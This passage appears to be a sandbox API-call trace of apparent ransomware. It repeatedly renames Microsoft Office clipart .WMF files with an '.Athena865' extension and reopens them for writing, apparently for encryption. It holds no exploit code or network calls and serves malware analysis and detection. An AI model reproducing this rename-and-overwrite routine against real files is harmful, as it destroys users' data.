hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3304) returned 1 [0135.197] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY01590_.WMF" | out: lpString1="SY01590_.WMF") returned="SY01590_.WMF" [0135.197] lstrlenW (lpString="SY01590_.WMF") returned 12 [0135.197] lstrlenW (lpString="Athena865") returned 9 [0135.197] lstrcmpiW (lpString1="1590_.WMF", lpString2="Athena865") returned -1 [0135.198] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.Athena865") returned 73 [0135.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.199] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13198) returned 1 [0135.203] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TAIL.WMF" | out: lpString1="TAIL.WMF") returned="TAIL.WMF" [0135.203] lstrlenW (lpString="TAIL.WMF") returned 8 [0135.203] lstrlenW (lpString="Athena865") returned 9 [0135.203] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.Athena865") returned 69 [0135.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.athena865"), dwFlags=0x1) returned 1 [0135.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.205] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2230) returned 1 [0135.213] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00011_.WMF" | out: lpString1="TN00011_.WMF") returned="TN00011_.WMF" [0135.213] lstrlenW (lpString="TN00011_.WMF") returned 12 [0135.213] lstrlenW (lpString="Athena865") returned 9 [0135.213] lstrcmpiW (lpString1="0011_.WMF", lpString2="Athena865") returned -1 [0135.213] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.Athena865") returned 73 [0135.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.215] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=48610) returned 1 [0135.220] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00014_.WMF" | out: lpString1="TN00014_.WMF") returned="TN00014_.WMF" [0135.220] lstrlenW (lpString="TN00014_.WMF") returned 12 [0135.220] lstrlenW (lpString="Athena865") returned 9 [0135.220] lstrcmpiW (lpString1="0014_.WMF", lpString2="Athena865") returned -1 [0135.220] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.Athena865") returned 73 [0135.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.221] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7518) returned 1 [0135.224] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00018_.WMF" | out: lpString1="TN00018_.WMF") returned="TN00018_.WMF" [0135.224] lstrlenW (lpString="TN00018_.WMF") returned 12 [0135.224] lstrlenW (lpString="Athena865") returned 9 [0135.224] lstrcmpiW (lpString1="0018_.WMF", lpString2="Athena865") returned -1 [0135.224] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.Athena865") returned 73 [0135.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.226] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9276) returned 1 [0135.228] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00095_.WMF" | out: lpString1="TN00095_.WMF") returned="TN00095_.WMF" [0135.229] lstrlenW (lpString="TN00095_.WMF") returned 12 [0135.229] lstrlenW (lpString="Athena865") returned 9 [0135.229] lstrcmpiW (lpString1="0095_.WMF", lpString2="Athena865") returned -1 [0135.229] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.Athena865") returned 73 [0135.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.231] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5978) returned 1 [0135.234] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00211_.WMF" | out: lpString1="TN00211_.WMF") returned="TN00211_.WMF" [0135.234] lstrlenW (lpString="TN00211_.WMF") returned 12 [0135.234] lstrlenW (lpString="Athena865") returned 9 [0135.234] lstrcmpiW (lpString1="0211_.WMF", lpString2="Athena865") returned -1 [0135.234] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.Athena865") returned 73 [0135.234] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.236] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7186) returned 1 [0135.241] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00217_.WMF" | out: lpString1="TN00217_.WMF") returned="TN00217_.WMF" [0135.241] lstrlenW (lpString="TN00217_.WMF") returned 12 [0135.241] lstrlenW (lpString="Athena865") returned 9 [0135.241] lstrcmpiW (lpString1="0217_.WMF", lpString2="Athena865") returned -1 [0135.241] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.Athena865") returned 73 [0135.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.242] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4644) returned 1 [0135.245] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00218_.WMF" | out: lpString1="TN00218_.WMF") returned="TN00218_.WMF" [0135.245] lstrlenW (lpString="TN00218_.WMF") returned 12 [0135.245] lstrlenW (lpString="Athena865") returned 9 [0135.245] lstrcmpiW (lpString1="0218_.WMF", lpString2="Athena865") returned -1 [0135.245] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.Athena865") returned 73 [0135.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.247] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7104) returned 1 [0135.250] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00231_.WMF" | out: lpString1="TN00231_.WMF") returned="TN00231_.WMF" [0135.250] lstrlenW (lpString="TN00231_.WMF") returned 12 [0135.251] lstrlenW (lpString="Athena865") returned 9 [0135.251] lstrcmpiW (lpString1="0231_.WMF", lpString2="Athena865") returned -1 [0135.251] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.Athena865") returned 73 [0135.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.252] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1848) returned 1 [0135.255] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00234_.WMF" | out: lpString1="TN00234_.WMF") returned="TN00234_.WMF" [0135.255] lstrlenW (lpString="TN00234_.WMF") returned 12 [0135.255] lstrlenW (lpString="Athena865") returned 9 [0135.255] lstrcmpiW (lpString1="0234_.WMF", lpString2="Athena865") returned -1 [0135.255] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.Athena865") returned 73 [0135.255] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.257] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3176) returned 1 [0135.260] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00241_.WMF" | out: lpString1="TN00241_.WMF") returned="TN00241_.WMF" [0135.260] lstrlenW (lpString="TN00241_.WMF") returned 12 [0135.260] lstrlenW (lpString="Athena865") returned 9 [0135.260] lstrcmpiW (lpString1="0241_.WMF", lpString2="Athena865") returned -1 [0135.260] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.Athena865") returned 73 [0135.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.261] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3980) returned 1 [0135.264] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00246_.WMF" | out: lpString1="TN00246_.WMF") returned="TN00246_.WMF" [0135.264] lstrlenW (lpString="TN00246_.WMF") returned 12 [0135.264] lstrlenW (lpString="Athena865") returned 9 [0135.264] lstrcmpiW (lpString1="0246_.WMF", lpString2="Athena865") returned -1 [0135.264] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.Athena865") returned 73 [0135.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.265] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3956) returned 1 [0135.268] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00253_.WMF" | out: lpString1="TN00253_.WMF") returned="TN00253_.WMF" [0135.268] lstrlenW (lpString="TN00253_.WMF") returned 12 [0135.268] lstrlenW (lpString="Athena865") returned 9 [0135.268] lstrcmpiW (lpString1="0253_.WMF", lpString2="Athena865") returned -1 [0135.268] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.Athena865") returned 73 [0135.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.270] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5564) returned 1 [0135.272] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00255_.WMF" | out: lpString1="TN00255_.WMF") returned="TN00255_.WMF" [0135.272] lstrlenW (lpString="TN00255_.WMF") returned 12 [0135.272] lstrlenW (lpString="Athena865") returned 9 [0135.272] lstrcmpiW (lpString1="0255_.WMF", lpString2="Athena865") returned -1 [0135.272] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.Athena865") returned 73 [0135.273] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.275] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7592) returned 1 [0135.278] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00330_.WMF" | out: lpString1="TN00330_.WMF") returned="TN00330_.WMF" [0135.278] lstrlenW (lpString="TN00330_.WMF") returned 12 [0135.278] lstrlenW (lpString="Athena865") returned 9 [0135.278] lstrcmpiW (lpString1="0330_.WMF", lpString2="Athena865") returned -1 [0135.278] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.Athena865") returned 73 [0135.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.280] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2012) returned 1 [0135.282] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00411_.WMF" | out: lpString1="TN00411_.WMF") returned="TN00411_.WMF" [0135.282] lstrlenW (lpString="TN00411_.WMF") returned 12 [0135.282] lstrlenW (lpString="Athena865") returned 9 [0135.282] lstrcmpiW (lpString1="0411_.WMF", lpString2="Athena865") returned -1 [0135.282] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.Athena865") returned 73 [0135.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.284] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3954) returned 1 [0135.287] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN00687_.WMF" | out: lpString1="TN00687_.WMF") returned="TN00687_.WMF" [0135.287] lstrlenW (lpString="TN00687_.WMF") returned 12 [0135.287] lstrlenW (lpString="Athena865") returned 9 [0135.287] lstrcmpiW (lpString1="0687_.WMF", lpString2="Athena865") returned -1 [0135.287] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.Athena865") returned 73 [0135.287] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.289] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2514) returned 1 [0135.292] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN01164_.WMF" | out: lpString1="TN01164_.WMF") returned="TN01164_.WMF" [0135.292] lstrlenW (lpString="TN01164_.WMF") returned 12 [0135.292] lstrlenW (lpString="Athena865") returned 9 [0135.292] lstrcmpiW (lpString1="1164_.WMF", lpString2="Athena865") returned -1 [0135.292] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.Athena865") returned 73 [0135.292] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.293] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=566) returned 1 [0135.297] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN01165_.WMF" | out: lpString1="TN01165_.WMF") returned="TN01165_.WMF" [0135.297] lstrlenW (lpString="TN01165_.WMF") returned 12 [0135.297] lstrlenW (lpString="Athena865") returned 9 [0135.297] lstrcmpiW 